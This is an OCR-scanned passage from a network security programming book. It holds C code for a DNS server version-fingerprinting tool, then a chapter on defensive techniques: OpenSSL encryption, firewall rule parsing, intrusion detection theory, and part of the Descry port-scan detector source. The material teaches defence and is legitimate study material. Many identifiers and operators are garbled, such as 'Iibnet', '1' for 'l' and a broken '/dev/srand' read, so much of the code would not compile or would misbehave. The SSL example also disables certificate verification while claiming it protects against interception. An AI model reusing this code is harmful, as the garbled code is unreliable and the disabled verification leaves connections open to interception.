            sprintf(sp->errbuf, "Can't build UDP header: %s /n",
                 libnet_geterror(sp->l));
            return (-1);
       }
  }
  
  /* resolve the host in a big endian number */
  if ((sp->dst_ip = libnet_name2addr4(sp->l, host,
            LIBNET_RESOLVE)) == -1)
  {
       sprintf(sp->errbuf, "%s (%s)\n", libnet_geterror(sp->l), host);
       fp->stats.timed_out_resolving++;
       return (-1);
  }
  
  /*
   * After building it, we'll need to update the IP header every time
   * with the new address.
   */
  sp->ip = Iibnet_build_ipv4(
       packet_size,                    /* total packet size */
       0,                              /* type of service */
       242,                            /* identification */
       0,                              /* fragmentation */
       64,                             /* time to live */
       IPPROTO_UDP,                    /* protocol */
       0,                              /* checksum */
       sp->src_ip,                     /* source */
       sp- dst_ip,                     /* destination */
       NULL,                           /* payload */
       0,                              /* payload size */
       sp->l,                          /* libnet context */
       sp->ip);                        /* ptag */
     if (sp->ip == -1)
     {
            sprintf(sp->errbuf, "Can't build IP header: %s\n",
                 libnet_geterror(sp->l)};
            return (-1);



      }
      return (-1);
  }
  
  int
  write_packet(struct sift_pack *sp)
  {
       int c;
  
       c = libnet_write(sp->l);
       if (c == -1)
       {
            sprintf(sp->errbuf, "libnet_write(): %s /n",
                    libnet_geterror(sp->l));
       }
       return (c);
  }
  
  int
  receive_pacKec(btrucu sift_pack *sp;
  {
       u_short ip_hl;
       u_char *payload;
       char version[128];
       fd_set read_set;
       u_short count, offset;
       struct timeval timeout;
       struct Iibnet_ipv4_hdr *ip;
       struct Iibnet_dnsv4_hdr *dns;
       int c, j, 1, m, timed_out, pcap_fd;
  
       timeout.tv_sec = sp->to;
       timeout.tv_usec = 0;
  
       pcap_fd = pcap_fileno(sp->p);
       FD_ZERO(&read_set);
       FD_SET(pcap_fd, &read_set);
       /* run through the packet capturing loop until a timeout or ctrl-c */
       for (timed_out = 0; !timed_out && loop; )
       {
            /* synchronous I/O multiplexing */
            c = select(pcap_fd + 1, &read_set, 0, 0, fctimeout);
            switch (c)
            {
                case -1:
                     snprintf(sp->errbuf, LIBNET_ERRBUF_SIZE,
                             "select() %s", strerror(errno));
                     return (-1);
                case 0:
                     timed_out = 1;
                     continue;
                default:



                     if (FD_ISSET(pcap_fd, &read_set) == 0)
                     {
                         timed_out = 1;
                         continue;
                     }
                     /* fall through to read the packet */
  }
  
  sp->packet = (u_char *)pcap_next(sp->p, &sp->h);
  if (sp->packet == NULL)
  {
       /*
        * We have to be careful here as pcap_next() can return
        * NULL if the timer expires with no data in the packet
        * buffer or under some special circumstances under linux.
        */
       continue;
  }
  
  ip = (struct Iibnet_ipv4_hdr *)(sp- packet + LIBNET_ETH_H);
  if (ip->ip_src.s_addr == sp->src_ip)
  {
       /* packets we send are of no interest to us here. */
       continue;
  }
  
  ip_hl = ip->ip_hl << 2;
  dns = (struct Iibnet_dnsv4_hdr *)(sp- packet + LIBNET_ETH_H +
            ip_hl + LIBNET_UDP_H);
  
  /* check to see if this is a response to our query */
  if (ntohs(dns->id) == sp->id)
  {
            /* check to see if the CHAOS class is implemented */
  if ((ntohs(dns- flags) & DNS_NOTIMPL))
  {
       fprintf(stderr, "not implemented /n");
       sp->stats.total_responses++;
       sp->stats.not_implemented++;
       return (NO_ANSWER);
  }
  /* check to see if the server failed */
  if ((ntohs(dns- flags) & DNS_SERVFAILED))
  {
       fprintf(stderr, "server failed /n");
       sp->stats.total_responses++;
       sp->stats. server_failed++;
       return (NO_ANSWER);
  }
  /* check to see if there was a format error */
  if ((ntohs(dns- flags) & DNS_FORMATERR))
  {



       fprintf (stderr, "format error\n");
       sp->stats.total_responses++;
       sp->stats.format_error++;
       return (NO_ANSWER);
  }
  /*
   * Every response to our chaos class query should have our
   * original uncompressed question in it. As such we can
   * safely point payload past that query rr directly to
   * the answer rr which is what we want to parse.
   */
  payload = (u_char *)(sp- packet + LIBNET_ETH_H + ip_hl +
            LIBNET_UDP_H + LIBNET_DNSV4_H + CHAOS_QUERY_S);
  
  /*
   * Some DNS servers will be smart and compress their
   * response to our query. We check for that case here.
   */
  if (payload[0] & 0xcO)
  {
       /*
        * When the two high-order bits are set (values
        * 192 - 255) it indicates the response is compressed.
        * Shave off the low-order 14 bits to determine the
        * offset. It's pretty bitwise code but unfortunately
        * we have no use for it in this version.
        */
       offset = (payload[0j << 0x08 | payloadfl]) & 0x3fff;
       /*
        * The llth and 12th bytes will contain the count
        * (number of bytes) of the answer.
        */
       count = payload[10] << 0x08 | payload[11];
       j = 12;
  }
  else
  {
       /*
        * If we're not compressed step over the 24 bytes of
        * answer stuff we don't care about.
        */
       count = payload[22] << 0x08 | payload[23] ;
       j = 24;
       }
  
       /*
        * Our buffer to hold the version info is only 128 bytes
        * and we need to account for the terminating NULL.
        */
       count > 127 ? count =127 : count ;
       memset (version, 0, 128);
  



       /*
        * Run through the payload pulling out only the printable
        * ASCII characters which are between 0x21 (!) and 0x7e
        * (~).
        */
       for (1 = 0, m = 0; 1 < count; 1++)
       {
            if (payload[j + 1] = 0x21 && payloadtj + 1] = 0x7e)
            {
                version[m] = payload[j + 1];
                m++;
            }
       }
  
       /* report the version to the user */
       fprintf(stderr, "%s /n", version);
  
       sp->stats.valid_responses++;
       sp->stats.total_responses++;
       return (RESPONSE);
       }
  }
  /* we timed out waiting for a response */
  fprintf(stderr, "*\n");
  sp->stats.timed_out++;
  return (TIMEDOUT);
  }
  
  void
  cleanup(int signo)
  {
       loop = 0;
       printf("Interrupt signal caught... /n");
  }
  
  void
  sift_stats(struct sift_pack *sp)
  {
       printf("Sift statistics: /n"
            "total queries sent:\t\t%41d\n"
            "total responses received:\t%41d\n"
            "total valid responses received:\t%41d\n"
            "total timeouts:\t\t\t%41d\n"
            "total timeouts resolving:\t%41d\n"
            "total not implemented:\t\t%41d\n"
            "total server failed:\t\t%41d\n"
            "total format errors:\t\t%41d\n",
            sp->stats.total_gueries, sp->stats.total_responses,
            sp->stats.valid_responses, sp->stats.timed_out,
            sp->stats.not_implemented, sp->stats.server_failed,
            sp->stats. forma error);
  }



  
  void
  usage(char *name)
  {
       printf("usage %s [options] host_file\n"
                       "-h\t\tthis blurb you see right here\n"
                       "-i device\tspecify a device\n"
                       "-r count\tnumber of times to retry the guery\n"
                       "-t timeout\tseconds to wait for a response\n", name);
  }
  
  /* EOF */

 



 

Chapter 11: Defensive Techniques

Overview

Prevention is invariably a better approach than treatment for both living beings and computer networks. Just
as it is with living beings, it is impossible to prevent all maladies from occurring on a computer network. But
unlike the human body, computer networks do not have an autonomic immune system that differentiates self
from non-self and neutralizes potential threats. Security engineers have to establish what behavior and
attributes are "self" for networks and deploy systems that identify "non-self" activities and neutralize them.

Unfortunately, today's firewalls do not even fit into the notion of an immune system for our networks, but
rather enforce conscious policies such as "deny all attempts to access TCP port 23," the equivalent to "do not
stick your tongue in an electrical outlet" for humans. Although sticking your tongue in an electrical outlet
surely poses a serious risk to life and limb, policy enforcement only protects people against a subset of the
risks to which they expose themselves daily—and generally only those risks that they know about. What we
need is to supplement the policy enforcement of today's firewalls with tools that identify network actions that
fall outside "self" for the network, or that we know to be bad, and prevent the actions from causing damage.
We also need to encrypt sensitive network traffic as a precautionary measure, much like immunizations help
protect us against certain diseases.

This chapter covers the defensive techniques of encryption, firewalling, and network intrusion detection.

 



 

Encryption

Encryption represents a powerful technique for protecting network communications. Through the proper use
of encryption over networks, we can secure sensitive data while in transit and protect control channels from
compromise. First, we can use encryption to authenticate the party with whom we communicate over the
network through the use of public key signatures or shared private keys. Second, we can hide the data
communicated from all but the intended recipients when encrypted appropriately. Proper authentication,
integrity of communication, and confidentiality of communication goes a long way toward achieving our
objective of a functionally secure network. In essence, it immunizes our networks from many of the maladies
that could plague it.

Encryption across the Network

We fully realize the utility of encryption, while considerable in a local context as we saw in Chapter 7, when
we implement it across the network. We can build secure communications channels for data as well as
commands by using this technique. As we saw in Chapter 7, we can use the OpenSSL component to build all
sorts of wondrous encryption constructs, including SSL-based communications. SSL is so useful because it is
a set of protocols that the Internet Engineering Task Force (IETF) has standardized, and almost every Web
browser and Web server available supports it. You can also use SSL independently of the Web, making it
even more powerful.

The following code comes from a real system that securely sends XML-formatted information over a network.
The hardest part of using the OpenSSL library to create an SSL session is the initialization of the library and
the context structure used to manage the session and its attributes. The code shown includes all the basic
elements of initializing the library, setting up the session context, loading the client public key certificate, and
sending data securely over SSL:

   #include "rand.h"
   #include "pkcsl2.h"
   #include "ssl.h"
    /* global variables for SSL implementation */
    static BIO *bio = NULL, *bio_out= NULL, *bio_err= NULL;
    static SSL *ssl = NULL;
    static SSL_CTX *ssl_ctx= NULL;
    static X509 *x509= NULL;
    int HTTPSCoiranlnit(const char *clientCert, const char *password)
    {
        char randbuf[60];

Start by initializing the library and creating basic input/output descriptors:

   /* initialize the library */
   SSL_library_init();

   /* Create a BIO for stdout and stderr */
   bio_out = BIO_new_fp(stdout, BIO_NOCLOSE);
   bio_err = BIO_new_fp(stderr, BIO_NOCLOSE);



Next, we load the OpenSSL error text strings so that any errors will be reported with a higher verbosity:

   SSL_load_error_strings();

Create the SSL context structure operating in the default SSL version 3 in SSL version 2 header mode in
order to maximize the number of servers to which we can connect:

   if ((ssl_ctx = SSL_CTX_new(SSLv23_client_method())) == NULL)
   {
         return (0);
   }

OpenSSL has reasonable documentation, but there is little discussion about how, when, and where to
initialize the random number generator in the OpenSSL library. This factor is a critical aspect of using
OpenSSL successfully—one that we must handle with rare in order to achieve the expected level of security
that SSL provides. The following code reads enough data from the best system-supplied entropy source to fill
randbuf:

   fread(randbuf, 1, sizeof(randbuf), fopenf"/dev/srand", "r"));
   RAND_seed((const void*)randbuf, sizeof(randbuf));

Enable all of the vendor bug compatibility options and set the cipher list, which you should choose carefully to
meet the security needs of your application:

   SSL_CTX_set_options(ssl_ctx, SSL_OP_ALL);
   SSL_CTX_set_cipher_list(ssl_ctx, "DEFAULT:!EXP");
   Create a new SSL structure:
   if ((ssl = SSL_new(ssl_ctx)) == NULL)
   {
        return (0);
   }

An SSL exists, but which side of the protocol are we doing? If we call SSL_connect () or SSL_accept
(), the side of the connection is implied. In this case, however, we will call SSL_do_handshake (), which
requires the "client/server side" flag to be set. SSL_set_connect_state () sets the SSL connection to do
the connect side of the protocol on the SSL_do_hand-shake () (SSL_set_accept_state () would

set it up to perform a server-side accept):

   SSL_set_connect_state(ssl);

Set up the verification callback, which is where you will put your code to check the validity of the certificate
provided by the other side of the SSL connection (this action is important to protect against a number of
issues, including man-in-the-middle and DNS redirection attacks):

   SSL_set_verify(ssl, SSL_VERIFY_NONE, verification_callback);



Next, load the Public Key Cryptography Standard Number 12 (PKCS#12) client certificate:

   if (clientCert)
   {
         FILE *pkcs12fp = NULL;
        PKCS12 *pkcs12 = NULL;
        EVP_PKEY *pkey = NULL;
        X509 *cert = NULL;
        /* initialize the PKCS12 library crypto stuff */
        PKCS12_PBE_add();
        /* PKCS#12 cert handling here */
        if ((pkcs12fp = fopen(clientCert, "r")) == NULL)
        {
             return (0);
        }

        /* read the PKCS12 structure in from disk */
        if ((pkcs12 = d2i_PKCS12_fp(pkcs12fp, NULL)) == NULL)
        {
        fclose(pkcs12fp);
        return (0);

   }     
   /* use password to decrypt client cert */
   if (PKCS12_parse(pkcsl2, password, &pkey, &cert, NULL) == 0)
   {
        fclose(pkcs12fp);
        PKCS12_free(pkcsl2);
        return (0);
    }

Bind the client certificate and private key from the PKCS#12 structure to the SSL session for future use:

   if (SSL_use_certificate(ssl, cert) == 1)
   {
        if (!SSL_use_PrivateKey(ssl, pkey))
        {
        fclose(pkcs12fp);
        PKCS12_free(pkcs12);
        return (0);
   }
   else if (!SSL_check_private_key(ssl))
   {
        fclose(pkcs12fp);
        PKCS12_free(pkcs12);
        return (0);
   }
   }

   /* clean up */



   fclose(pkcs12fp);
   PKCS12_free(pkcs12);

}
/* always reset the SSL state machine */
SSL_set_connect_state(ssl);
   return (1);
}

After you complete this initialization, you can use the following code snippet to connect to the server and send
encrypted data over the network. The function takes three arguments: a pointer to the data to send, the size
of the data in bytes, and an ASCII string specifying the host name and port, separated with a colon, to which
we will send the data:

   int send_data(void *user_data, unsigned int size, char *host_port)
    {
        int result = 0;
        BIO bio;

Create a BIO instance that is a socket connection to the server with which we want to communicate. This
connection is not actually created until the SSL handshake is initiated:

   bio = BIO_new_connect(host_port);
   if (bio == NULL)
   {
        return (ERR_UNKNOWN);
   }
   SSL_set_bio(ssl, bio, bio);
   while (!done)
   {

Here is where we initiate the state machine and begin the connection process to the other end:

   i = S S L_do_hands hake(ssl);
   switch (SSL_get_error(ssl, i))
   {

If SSL_get_error () returns SSL_ERROR_NONE, we are done with connection establishment and can

proceed to write the data:

   case SSL_ERROR_NONE:
   done = 1;
   break;

If SSL_get_error () returns SSL_ERROR_SSL or SSL_ERROR_SYSCALL, there was an unrecoverable

error in the handshaking process. Return with the proper error code:



   case SSL_ERROR_SYSCALL:
   case SSL_ERROR_SSL:
        return (ERR_NO_CONNECTION);

If SSL_get_error () returns SSL_ERROR_ZERO_RETURN, a read() or write () system call failed-

usually because the socket closed for some reason. In any event, the protocol failed:

   case SSL_ERROR_ZERO_RETURN:
        return (ERR_BROKEN_CONNECTION);

If SSL_get_error () returns any of the following, we keep at it:

   case SSL_ERROR_WANT_READ:
   case SSL_ERROR_WANT_WRITE:
   case SSL_ERROR_WANT_CONNECT:
   default:
   break;
   }
}

If we get here, it is time to write data through our newly built SSL tunnel:

   result = SSL_write(ssl, user_data, size);
   if (result <= 0)
   {
        return (ERR_WRITE_FAILED);
   }
}

 



 

Firewalling

Technically speaking, a firewall is a set of related programs located at the point of ingress that protects the
resources of a private network from users on other networks. In more colloquial terms, a firewall is a device
that enforces a predesignated policy across an access point to a network. Probably the most limiting factor in
firewalls today is the policy. A firewall cannot protect against attacks that it does not know about, and as such
the policy should take this situation into account and be as rigid as possible while still enabling work to get
done.

Techniques for building firewalls vary wildly, as do the implementations that range from simple single-module
programs to huge appliances costing in the six-digit price range. Open-source firewall solutions often work
extremely well in today's "cubbyhole" networks. To this end, many current operating systems include native
kernel-level support for firewalling primitives. The libdnet library makes interacting with these firewall
subsystems simple by specifying a standard nomenclature and translating it into the appropriate format for
the given operating system. The following code snippet to add a firewall policy rule, modified from the libdnet
sample code, assumes that the text string in argv is of the following format: “allow | block in | out
<device> | any <proto><src> [: <sport> [-<max> ]]<dst> [:<dport> [-<max> ]]
[<type> [/<code>]]”:

   struct fw_rule fr
   struct protoent *pr;
   char *p;

We need at least six arguments to form a legal rule:

   if (argc < 6)
   {
        return (-1);
   }
   memsettfr, 0, sizeof(*fr));

Determine the context of the rule and to which direction it applies:

   fr->fw_op = strcmp(argv[0], "allow") ? FW_OP_BLOCK : FW_OP_ALLOW;
   fr->fw_dir = strcmp(argvfl], "in") ? FW_DIR_OUT : FW_DIR_IN;

If we have a specific device named, use that:

   if (strcmp(argv[2], "any") != 0)
   {
   strlcpy(fr->fw_device, argv[2], sizeof(fr->fw_device));
   }

Next, figure out the protocol to which the rule applies:

   if ((pr = getprotobyname(argv[3])) != NULL)



   {
        fr->fw_proto = pr->p_proto;
   }
   else
   {
        fr->fw_proto = atoi(argv[3]);
   }
   p = strtok(argv[4], ":");

Handle the source address of the rule:

   if (addr_aton(p, &fr->fw_src) < 0)
   {
        return (-1);
   }
   if ((p = strtok(NULL, ":")) != NULL)
   {

Handle the source port of the rule, accounting for a possible dash (indicating a port range):

   fr->fw_sport[0] = (uint16_t)strtol(p, &p, 10);
   if (*p == '-')
   {
        fr->fw_sport[l] = (uint16_t)strtol(p + 1, NULL, 10);
   }
   else
   {
        fr->fw_sport[1] = fr->fw_sport[0];
   }
}
p = strtok(argv[5] , ":");

Handle the source address of the rule:

   if (addr_aton(p, &fr->fw_dst) < 0)
   {
        return (-1);
   }
   if ((p = Lcrtok(NULL, ":")) != NULL)
   {

Handle the destination port ofthe rule, accounting for a possible dash indicating a port range:

   fr->fw_dport[0] = (uint16_t)strtol(p, &p, 10);
   if (*p == '-')
   {
        fr->fw_dport[1] = (uint16_t)strtol(p + 1, NULL, 10);
   }



   else
   {
        fr->fw_dport[l] = fr->fw_dport[0];
   }
}
if (argc > 6)
{

If we have more than six arguments, the rule has to apply to an ICMP or IGMP protocol; if it does not, a syntax
error results:

   if (fr- > fw_proto != IP_PROTO_ICMP&& fr->fw_proto != IP_PROTO_IGMP)
   {
        return (-1);
   }

Stick the type and possible code into the port variables, and flag the high-order byte with 0xff:

   fr->fw_sport[0] = (uint16_t)strtol(argv[6], &p, 10);
   fr->fw_sport[1] = 0xff;
   if (*p == '/')
   {
        fr->fw_dport[0] = (uintl6_t)strtol(p + 1, NULL, 10);
        fr->fw_dport[l] = 0xff;
    }
}
return (1);

 



 

Network Intrusion Detection

Network intrusion detection is the broad technique of analyzing network traffic to determine suspicious or
harmful events—particularly, security-related events. The different ways in which network traffic can be
analyzed in order to find relevant events are nearly infinite, but there are general mechanics involved in the
technique of network intrusion detection and in building a network intrusion detection system (NIDS). We
extend the concepts presented here in the code at the end of this chapter.

Before anything else, there must be a way to collect network traffic data for subsequent analysis. Generally,
the data can come from a file, such as a libpcap capture file; from a host's network interface before it is
processed by the TCP/IP stack; or from "sniffing" a network collision domain. Capturing and analyzing data
from high-speed network links often requires specially built hardware due to large volumes of data that need
to be handled in short time periods. Regardless of the data source, NIDS often uses the libpcap component
because it provides a portable and flexible software interface to read network traffic data from appropriately
formatted files, from a host's network interface, or from a network collision domain. As well, many open-
source NIDS use libpcap, including Snort.

Network intrusion detection analysis requires some level of protocol parsing to bring structure to the network
traffic collected. The libnet and libnids components provide mechanisms that greatly reduce the work of
parsing network protocol headers and sessions. The sample program in this chapter, Descry, uses libnet to
aid in the parsing of TCP/IP protocol headers in much the same fashion as we have seen in previous
chapters. We eschewed the use of libnids for reasons discussed in the Sample Program section.

Examples of analytical techniques include pattern matching, such as regular expressions; state transition
analysis through the use of finite state machines; and a multitude of machine learning algorithms. Most well-
known commercial NIDS use pattern matching as their primary analytical method. A small number use state
transition analysis, and few to none use machine learning techniques (although, at this writing, there are a few
small companies that are commercializing applications of machine learning in NIDS). All of these analytical
techniques have their strengths and weaknesses, although it is easy to state that machine learning
techniques have by far the greatest potential to identify unknown attacks or harmful events (while pattern
matching has proven quite fragile and fairly ill-suited to complex detection problems).

Descry, the sample program, uses state transition analysis of TCP session initiation and teardown to detect
TCP connect and half-open port scans.

It is important to note that the growing use of encryption in today's networks impedes the broad application of
network intrusion detection techniques. Over the next decade, as the trend of using encryption to protect
network connections grows, it is likely that we will not be able to count on having access to the application-
level data in network connections. This situation is fine; there are many useful things to discover by analyzing
the network protocol headers, which by their very nature will remain unencrypted for the foreseeable future.
For example, as a precursor to attack, many attackers case networks to varying degrees, searching for
vulnerable services or gateways (in other words, port scanning) to generally inaccessible networks (indeed, in
Chapter 9 we covered the techniques for performing this action). There is much that we can do to identify this
prowling activity, and detecting such activity serves as a form of early warning system. As well, some good
research has been completed through DARPA sponsorship, which shows that there are often telltale signs of
attack in just the protocol headers when analyzed with the proper techniques. When applied creatively,
network intrusion detection has, andwill have, good utility in the fight to keep our networks secure.

 



 

Sample Program–Descry

Descry, as shown in Figure 11.1, is a small tool that exhibits the network intrusion detection defensive
technique. It is a port scan detection tool that attempts to identify TCP port scans to open ports across a
network segment by using a state transition analysis of TCP session initiation and teardown.

Figure 11.1: Descry network intrusion detection tool.

Descry, unlike many conventional implementations of similar tools, works in a sophisticated manner to
uncover TCP port scans. Consider the TCP port scan detection functionality inside libnids, which works by
using a time-based threshold model that sounds an alarm if x number of TCP packets are received in y
number of seconds. Descry instead appr0ximates a finite state machine and keeps a limited state of TCP
connections and can detect TCP port scans, often with the first offending probe. The program's logic, as
shown in Figure 11.2, is actually rather simple.



Figure 11.2: Descry program logic.

After initialization, Descry begins capturing TCP packets. When it sees a SYN|ACK, it adds the connection to
its state database. The SYN|ACK is the second packet in the three-way handshake, indicating that a service is
listening on the particular TCP port and responding to a TCP session request (a SYN). When Descry sees an
RST, RST | ACK, or FIN | ACK, it checks its state database for a matching connection. If a connection is
found, and the TCP session close request is coming from the initiating side of the connection (the client), it
checks to see whether the sequence number of the connection has incremented by more than one. If the
sequence number has not incremented more than one, this situation is indicative of a TCP connection that
opened and immediately closed without sending any data (the TCP SYN packet consumes one sequence
number). This situation is a trademark signature of almost every full-open TCP port-scanning tool. Descry
flags this activity as a possible port scan and warns the user. Additionally, almost all half-open TCP port
scans are detected as well, for reasons discussed in Chapter 9: the scanner sends a SYN to a port and a
SYN | ACK is returned, indicating that the port is open. Nominally, this process completes the half-open scan
process for that port, and the scanner moves on to the next port. Under the covers, however, the underlying
operating system upon which the half-open scanner is running receives and processes this SYN | ACK.
Because the half-open scanner forges the SYN | ACK packet and no state exists for the connection, the
operating system has no choice but to send an RST back to the scanned system. This behavior is hard to
prevent without egress filtering or kernel modifications to the scanning host. To Descry, this state is the same
state transition as earlier, and it flags it as a possible port scan.



The major advantage of this model is that it is state-based, not time-based. There is no number of packets
over a time threshold to tune in order to properly detect port-scanning activity. Furthermore, this method
enables the detection of "single shot" port scans, where the attacker connects to a single service to see
whether it is listening in order to target it for subsequent attack. Note that Descry does not attempt to detect
TCP connection attempts to closed ports. There are several reasons why it limits what it tries to detect.
Although detecting possible port scans to closed ports is easy (SYN from the initiator followed by RST sent
from the server), this condition happens a lot in the real world without the presence of port scanners and
therefore is rife with false-positive detections. Many available NIDS detect attempts to closed ports well
enough, and it is just less important to detect that someone is looking for a service that is not running on your
hosts than someone who is looking for services that you are running. Also, if a server uses a program such as
tcpwrapper to provide network connection access control based on the IP source address, the server might
close a TCP connection before the client sends any data or a port scan program gets the chance to terminate
the connection. In this case, Descry does not detect the connection as a possible port scan. This behavior is
completely appropriate given that it was the server's choice to terminate the connection, and the access
control program should log the offender's address information.

Descry keeps all of its TCP connection state in a PATRICIA (practical algorithm to retrieve information coded
in alphanumeric) trie. PATRICIA tries are somewhat like a combination of binary trees and hash tables but
with an optimization that makes it efficient to use a large lookup key space with sparse data. These features
make PATRICIA tries a well-suited data type for storing and searching network connections, because TCP
connections are uniquely identifiable by the following tuple: source IP address, source TCP port, destination
IP address, and destination TCP port. Given that IP addresses are 32 bits and TCP ports are 16 bits, the
identifying tuple is 96 bits. That is a lot of search key space. Obviously, the program will never monitor 2%
active connections at once, so creating a hash table to store and search the TCP connections would be
prohibitive or clumsy—and comparing two 96-bit values to make decisions for binary trees would be
inefficient. PATRICIA tries offer a fast and efficient solution to these problems.

By specifying the -h argument, Descry dumps its usage as such:

   tradecraft: ~ # ./descry -h
   Descry 1.0 [TCP port scan detection tool]
   usage ./descry [options] (-i and -f are mutually exclusive)
   -a monitor all hosts in the same segment
   -i interface specify device or
   -f capture file specify tcpdump capture file
   -s log to syslog instead of stderr

By default, Descry monitors only the local host on which it is invoked. To change this behavior and have it
monitor the entire collision domain, specify the -a option (which puts the interface into promiscuous mode).
Like every other program (save one) in this book, the -i option specifies an interface to usefor network activity.
Unlike any other program in this book, however, Descry also has the option to read from a libpcap savefile
with the -f switch (which is mutually exclusive from the -i switch). Finally, the user can choose to have the
program log port scan warnings to syslog rather than to the screen with the -s switch. A sample invocation of
Descry is as follows:

   tradecraft: ~ # ./descry -a
   Descry 1.0 [TCP port scan detection tool]
   [May 27 23:21:15] TCP probe from 66.123.162.116:54112 to
   66.123.162 118:25
   [May 27 23:25:02] TCP probe from 66.123.162.116:1923 to
   66.123.162.118:23



   [May 27 23:45:28] TCP probe from 66.123.162.116:9838 to
   66.123.162.118:13
   [May 28 02:05:00] TCP probe from 66.123.162.116:2012 to
   66.123.162.118:80
   [May 28 05:41:01] TCP probe from 66.123.162.116:4001 to
   66.123.162.118:139
   ^C
   tradecraft: ~#

Descry found five connections that seemed suspicious, none of which adhered to any time or port grouping
convention.

 



 

Sample Code–Descry

The following two source files comprise the Descry codebase. To preserve readability, we richly comment the code but include no book-
text inside the code. You can download the full source files from this book's companion Web site at
http://www.wiley.com/compbooks/schiffman .

descry.h

   /*
    * $Id: descry.h,v 1.1.1.1 2002/05/28 17:06:45 route Exp $
    *
    * Building Open Source Network Security Tools
    * descry.c - Network Intrusion Detection Technique example code
    *
    * Copyright (c) 2002 Dominigue Brezinkski <db@infonexus.com>
    * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
    * All rights reserved.
    *
    */
   #include <syslog.h>
   #include <libnet.h>
   #include <pcap.h>

   /* misc defines */
   #define MAX_STRING      0x100        /* default string length */
   #define CON_REMOVED  0xFFFFFFFF      /* tag a node for removal */
   #define CLEANUP_INTERVAL 1000        /* how often the cleaner runs */
   #define EXPIRE_TIME  11800           /* seconds that a connection should
                                         * linger in SYN-ACK state
                                         * before it gets expired
                                         */
   #define MAX_PACKET       1500        /* max packet size */

   /* filter to catch SYN-ACK, FIN-ACK, and RST segments */
   #define FILTER              "((top[13] & 0x12)  ==  0x12)|| \
                                ((tcp[13] & 0x11) == 0x11)|| \
                                ((tcp[13] & 0x14) == 0x14)|| \
                                ((tcp[13] & 0x04) == 0x04)"

   /* patricia key symbolic constants */
   #define KEY_BYTES     12
   #define MIN_KEY_BIT 0
   #define MAX_KEY_BIT (KEY_BYTES * 8 - 1)

   /*
    * Simple way to subtract timeval based timers. Not every OS has this,
    * so we'll just define it here.
    */

http://www.wiley.com/compbooks/schiffman


   #define PTIMERSUB(tvp, uvp, vvp)
   do
   {                                                            \
        (vvp)->tv_sec = (tvp)->tv_sec - (uvp)->tv_sec;          \
        (vvp)->tv_usec = (tvp)->tv_usec - (uvp)->tv_usec;       \
        if ((wp)->tv_usec 0)                                    \                                 
        {                                                       \  
             (vvp)->tv_sec-;                                    \
             (vvp)->tv_usec += 1000000;                          \
        }                                                       \
   }                                                            \
   while (0)                                                    \

   /* code cleanup to set connection state */
   #define SET_STATE(c, dip, dp, sip, sp, s)                    \ 
   {                                                            \
        c->dst_addr.s_addr = dip;                               \
        c->dst_port = dp;                                       \  
        c->src_addr.s_addr = sip;                               \
        c->src_port = sp;                                       \
        c->seq = s;                                             \
   }                                                            \
   /* TCP connection info */
   struct tcp_connection
   {
        struct in_addr src_addr;      /* source address */
        struct in_addr dst_addr;      /* destination address */
        struct timeval ts;            /* time value */
        u_long seq;                   /* sequence number V
        u_short src_port;             /* source port */
        u_short dst_port;             /* destination port */
   };

   /* decision node within the patricia trie */
   struct pt_node
   {
        int bit;                      /* decision bit */
        struct pt_node *1;            /* left node */
        struct pt_node *r;            /* right node */
        struct tcp_connection *con;   /* connection info */
   };
   
   /* patricia trie context */
   struct pt_context
   {
        struct pt_node *head;         /* head of the trie */
        u_long n;                     /* number of existing nodes */
   };

   /* main descry control context */
   struct descry_pack
   {



        pcap_t *p;                    /* libpcap context */
        u_char flags;                 /* control flags */
   #define ALL_HOSTS 0x01             /* monitor all hosts on segment */
   #define DO_SYSLOG 0x02             /* log to syslog */
        int offset;                   /* offset to IP header */
        struct pt_context *pt;        /* patricia trie context */
   };

   int descry_init (struct descry_pack **, char *, char *, u_char);
   void descry_destroy(struct descry_pack *);
   void descry(u_char *, struct pcap_pkthdr *, u_char *);
   void check_state(struct descry_pack *, struct tcp_connection *,
           struct tcp_connection *);
   int pt_init(struct pt_context **);
           struct pt_node *pt_new(int bit, struct pt_node *, struct pt_node *,
           struct tcp_connection *);
   int pt_insert(struct pt_context *, struct tcp_connection *);
   void pt_expire(struct descry_pack *, struct timeval*);
   int pt_find(struct pt_context *, struct tcp_connection *,
           struct tcp_connection **};
   void pt_delete(struct pt_context *, struct tcp_connection *);
   void pt_make_key(u_char *, struct tcp_connection *);
   void pt_walk_r(struct descry_pack *, struct pt_node *, struct pt_node *,
           struct timeval*);
   int pt_remove_r(struct pt_context *, struct pt_node *, u_char *,
           struct pt_node *);
   int pt_search_r(struct pt_node *, u_char *, struct pt_node **);
   int diff_bit(u_char *, u_char *, int *);
   int get_bit(u_char *, struct pt_node *);
   char * get_time();
   void usage(char*);

   /* EOF */

descry.c

   /*
   * $Id: descry.c,v 1.1.1.1 2002/05/28 17:06:45 route Exp $
   *
   * Building Open Source Network Security Tools
   * descry.c - Network Intrusion Detection Technique example code
   *
   * Copyright (c) 2002 Dominique Brezinkski <db@infonexus.com>
   * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
   * All rights reserved.
   *
   */

   #include "./descry.h"
   int



   main(int argc, char* argv[])
   {
        int c;
        u_char flags;
        char *device;
        char *capture_file;
        struct descry_pack *gp;

        printf("Descry 1.0 [TCP port scan detection tool] nn);
        flags = 0;
        device = NULL;
        capture_file = NULL; 
        while ((c = getopt(argc, argv, "ahf:i:vs")) != EOF)
        {
            switch (c)
             {
                case 'a':
                    flags |= ALL_HOSTS;
                    break;
                case 'f':
                    capture_file = optarg;
                    break;
                case 'i':
                    device = optarg;
                    break;
                case 'v':
                    break;
                case 's':
                    flags |= DO_SYSLOG;
                    break;
                case 'h':
                default:
                    usage(argv[0]);
                    return (EXIT_FAILURE);
             }
        }
        /* either read from a capture file OR run on the network */
        if (capture_file && device)
        {
            usage(argv[0]);
            return (EXIT_FAILURE);
        }
        if descry_init(&gp, device, capture_file, flags) == 0)
        {
            fprintf(stderr, "descry_init(): catastrophic failure\n");
            return (EXIT_FAILURE);
        }

        while (pcap_dispatch(gp->p, 0, (pcap_handler)descry, (u_char*)gp));

        descry_destroy(gp);



        return (EXIT_SUCCESS);
   }

   int
   descry_init(struct descry_pack **gp, char *device, char *capture_file,
          u_char flags)
   {
        char *interface = NULL;
        char error[PCAP_ERRBUF_SIZE];
        struct bpf_program prog;
        u_int32_t network, netmask;

        *gp = malloc(sizeof(struct descry_pack));
        if (*gp == NULL)
        {
           perror("descry_init(): malloc(): ");
           return (0);
        }

        /* initialize the patricia trie */
